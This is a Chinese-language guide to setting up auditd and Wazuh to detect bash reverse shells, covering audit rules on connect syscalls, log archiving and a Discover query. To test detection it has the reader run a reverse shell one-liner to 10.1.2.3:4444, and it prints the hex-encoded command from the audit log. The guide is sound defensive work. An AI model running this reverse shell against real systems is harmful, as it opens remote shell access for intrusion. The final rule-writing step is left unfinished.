Agent端配置

注意事项

在我们找到最终方案之前，曾有过两次关键的失败，理解它们至关重要：

  1. 无效操作一：仅监控命令执行 (execve)

    • 原因：我们最初只配置auditd监控execve系统调用。但反弹shell的核心 >& /dev/tcp/... 是bash的内置重定向功能，它不执行一个新程序，而是bash进程自己直接调用了底层的connect系统调用。因此，execve规则根本“看”不到这个关键的网络连接动作。
    • 结论：只监控execve，对于检测这类反弹shell是无效的。

  2. 无效操作二：不正确的auditd规则加载方式

    • 原因：我们发现，即使修改了规则文件，auditctl -l显示的内核规则也一成不变。这是因为系统的augenrules脚本加载失败或逻辑混乱，导致新规则无法生效，内核中残留着“幽灵规则”。
    • 结论：简单地修改规则文件并重启auditd服务，在这种有冲突的环境下是无效的。

在Agent端配置反弹Shell监控的完整有效流程

要在任何一台新的Linux Agent上成功部署监控，请严格执行以下三个步骤。

前提：安装审计工具

确保您的Agent上已安装auditd。

# Debian/Ubuntu
sudo apt update && sudo apt install auditd -y

# CentOS/RHEL/Oracle Linux
sudo yum install audit -y

步骤一：配置一个强大且干净的auditd规则集

这是最核心的一步，我们确保auditd不仅监控命令执行，更要监控关键的网络连接。

  1. 彻底清理旧的、可能冲突的规则文件，为我们的新规则扫清道路。

    # 备份并移除可能造成干扰的主规则文件
    sudo mv /etc/audit/audit.rules /etc/audit/audit.rules.bak_$(date +%F)

    # 清空规则目录下的所有.rules文件
    sudo rm -f /etc/audit/rules.d/*.rules

  2. 创建我们唯一的、权威的规则文件。

    sudo vim /etc/audit/rules.d/10-wazuh-monitoring.rules

  3. 将下面最终被验证为完全有效的规则内容，完整地粘贴到文件中：

    ## First, delete all existing rules to ensure a clean slate.
    -D

    ## Increase buffer size for busy systems.
    -b 8192

    ## Set failure mode to log to syslog.
    -f 1

    ## Rule 1: Monitor all command executions for context and forensics.
    -a always,exit -F arch=b64 -S execve -k wazuh_exec
    -a always,exit -F arch=b32 -S execve -k wazuh_exec

    ## Rule 2: Monitor network connection attempts. THIS IS THE KEY to catching reverse shells.
    -a always,exit -F arch=b64 -S connect -k wazuh_connect
    -a always,exit -F arch=b32 -S connect -k wazuh_connect

    ## Make the configuration immutable until the next reboot.
    -e 2

    保存并关闭文件。

步骤二：用“直接加载”的方式应用规则并重启服务

这个方法绕过了所有不可靠的脚本，确保规则被正确应用。

  1. 停止auditd服务，为手动操作做准备。

    sudo systemctl stop auditd
    • 注意：像 CentOS、RHEL、Rocky Linux、AlmaLinux 这类以服务器稳定性和安全性著称的发行版，默认就会为auditd开启这个RefuseManualStop=yes，这样加载的话就只能使用augenrules --load。像下面的的这些命令就没办法执行了

  2. 手动清空内核中所有残留的“幽灵规则”。

    sudo auditctl -D

  3. 直接将我们创建的规则文件加载到内核。

    sudo auditctl -R /etc/audit/rules.d/10-wazuh-monitoring.rules

  4. 验证规则是否已正确加载。

    sudo auditctl -l

    您应该能看到输出内容与您10-wazuh-monitoring.rules文件中的内容完全一致，非常干净。

  5. 在正确状态下启动auditd服务。

    sudo systemctl start auditd

  6. 日志文件位置

    /var/log/audit/audit.log

步骤三：配置Wazuh Agent以正确解析auditd日志

最后一步，我们告诉Wazuh Agent如何处理这些高质量的日志。

  1. 编辑Wazuh Agent的配置文件。

    sudo vim /var/ossec/etc/ossec.conf

  2. 添加或确保存在以下配置块。这告诉Agent去读取audit.log，并给这些日志打上“这是audit日志”的标签。

    <!-- Log analysis -->
    <!-- 在上面这个标签下面添加 -->
    <localfile>
      <location>/var/log/audit/audit.log</location>
      <log_format>audit</log_format>
    </localfile>

    关键点：<log_format>audit</log_format> 这一行是灵魂，它保证了Wazuh Manager能用正确的解码器解析这些日志，从而生成所有data.audit.*字段。

  3. 保存文件并重启Wazuh Agent服务。

    sudo systemctl restart wazuh-agent

Manager端配置

注意事项

  1. 无效操作一：日志归档未开启或未被读取
    • 原因：我们最初在Discover中看不到任何auditd日志。这是因为Wazuh服务端的数据管道存在“堵点”。要么是Wazuh Manager没有配置为保存所有日志（归档），要么是Filebeat没有配置为读取这些归档日志并发送给数据库。
  2. 无效操作二：使用了错误的字段名
    • 原因：我们最初的规则使用了audit.command这样的字段名。但最终通过Discover观察发现，在4.10以后Wazuh版本中，正确的字段名是data.audit.command。
  3. 无效操作三：告警规则的逻辑不精确
    • 原因：我们最初的规则依赖于监控execve事件。但我们最终发现，对于反弹shell，execve事件无法提供关键的网络连接细节。真正的“罪证”在connect事件中。

步骤一：开启“全息录像”功能（日志归档与可见性）

此步骤确保所有从Agent上报的原始日志都能被服务端记录并可在Discover中查看，是所有后续分析的基础。

  1. 配置Wazuh Manager保存所有日志：

    • 通过SSH登录到您的 Wazuh Manager/Server。
    • 使用编辑器打开配置文件：
      sudo vim /var/ossec/etc/ossec.conf
    • 在全局配置中，找到或添加<logall_json>yes</logall_json>这一行，确保它没有被注释。这会开启JSON格式的日志归档功能。
      <global>
        <jsonout_output>yes</jsonout_output>
        <alerts_log>yes</alerts_log>
        <logall>yes</logall>            <!-- 这里 -->
        <logall_json>yes</logall_json>  <!-- 这里 -->
        <email_notification>no</email_notification>
        <smtp_server>smtp.example.wazuh.com</smtp_server>
        <email_from>wazuh@example.wazuh.com</email_from>
        <email_to>recipient@example.wazuh.com</email_to>
        <email_maxperhour>12</email_maxperhour>
        <email_log_source>alerts.log</email_log_source>
        <agents_disconnection_time>10m</agents_disconnection_time>
        <agents_disconnection_alert_time>0</agents_disconnection_alert_time>
        <update_check>yes</update_check>
      </global>

  2. 配置Filebeat读取并发送归档日志：

    • Filebeat是负责将Manager生成的日志文件“搬运”到数据库的“搬运工”。
    • 编辑Filebeat的配置文件：
      sudo vim /etc/filebeat/filebeat.yml
    • 找到filebeat.modules:下的Wazuh模块，确保archives:部分被启用 (enabled: true)。
      filebeat.modules:
        - module: wazuh
          alerts:
            enabled: true
          archives:
            enabled: true  # 确保这里是 true，这是开启归档日志搬运的开关

  3. 重启服务以使配置生效：

    • 对配置文件的修改需要重启相应服务。

      sudo systemctl restart wazuh-manager
      sudo systemctl restart filebeat

  4. 在Wazuh Dashboard中创建归档索引模式：

    • 这是为了让Dashboard知道去哪里查找我们刚刚开启的归档日志。

    • 直接在浏览器中打开以下链接，将<your_wazuh_dashboard_ip>替换为您的Dashboard的IP或域名：

      https://<your_wazuh_dashboard_ip>/app/management/opensearch-dashboards/indexPatterns

    • 创建索引模式：

      • 点击 Create index pattern。
      • 在输入框中准确输入 wazuh-archives-*。
      • 系统提示匹配成功后，点击下一步。
      • 在 “Time field” 下拉菜单中，选择 @timestamp。
      • 点击 Create index pattern 完成创建。

步骤二：验证规则是否收集

  1. 触发模拟攻击：

    • 在Agent端执行反弹shell命令：

      bash -c 'bash -i >& /dev/tcp/10.1.2.3/4444 0>&1'

  2. 验证层面一：在Discover中确认原始日志已收集（威胁狩猎）

    • 目的：确认我们增强后的日志（特别是connect事件）已经成功抵达数据库，并可以被搜索到。

    • 操作：
      a. 登录Wazuh Dashboard，导航到 Discover。
      b. 在左上角的索引模式下拉菜单中，选择我们之前创建的 wazuh-archives-*。
      c. 在右上角的时间选择器中，选择一个包含刚才操作的时间范围，例如 “Last 5 minutes”。
      d. 在顶部的KQL搜索栏中，输入我们用于定位connect事件的精确查询：

      data.audit.key: "wazuh_connect" and data.audit.command: "bash"

      即可查询到相关告警

    • full_log字段原始的日志：

      type=SYSCALL msg=audit(1750850486.282:5968): arch=c000003e syscall=42 success=no exit=-111 a0=3 a1=5954159c7630 a2=10 a3=1 items=0 ppid=11761 pid=11762 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=3 comm="bash" exe="/usr/bin/bash" subj=unconfined key="wazuh_connect" ARCH=x86_64 SYSCALL=connect AUID="ascotbe" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=SOCKADDR msg=audit(1750850486.282:5968): saddr=0200115C0A0102030000000000000000SADDR={ saddr_fam=inet laddr=10.1.2.3 lport=4444 } type=PROCTITLE msg=audit(1750850486.282:5968): proctitle=62617368002D630062617368202D69203E26202F6465762F7463702F31302E312E322E332F3434343420303E2631

      其中62617368002D630062617368202D69203E26202F6465762F7463702F31302E312E322E332F3434343420303E2631这段就是命令的十六进制（Hexadecimal）编码。auditd为了安全地记录下可能包含各种特殊字符的命令行参数，会把它们转换成这种格式。

      • 对编码进行反向转换：

        echo '62617368002D630062617368202D69203E26202F6465762F7463702F31302E312E322E332F3434343420303E2631' > hex.txt
        xxd -r -p hex.txt

步骤三：编写规则

sudo systemctl restart wazuh-manager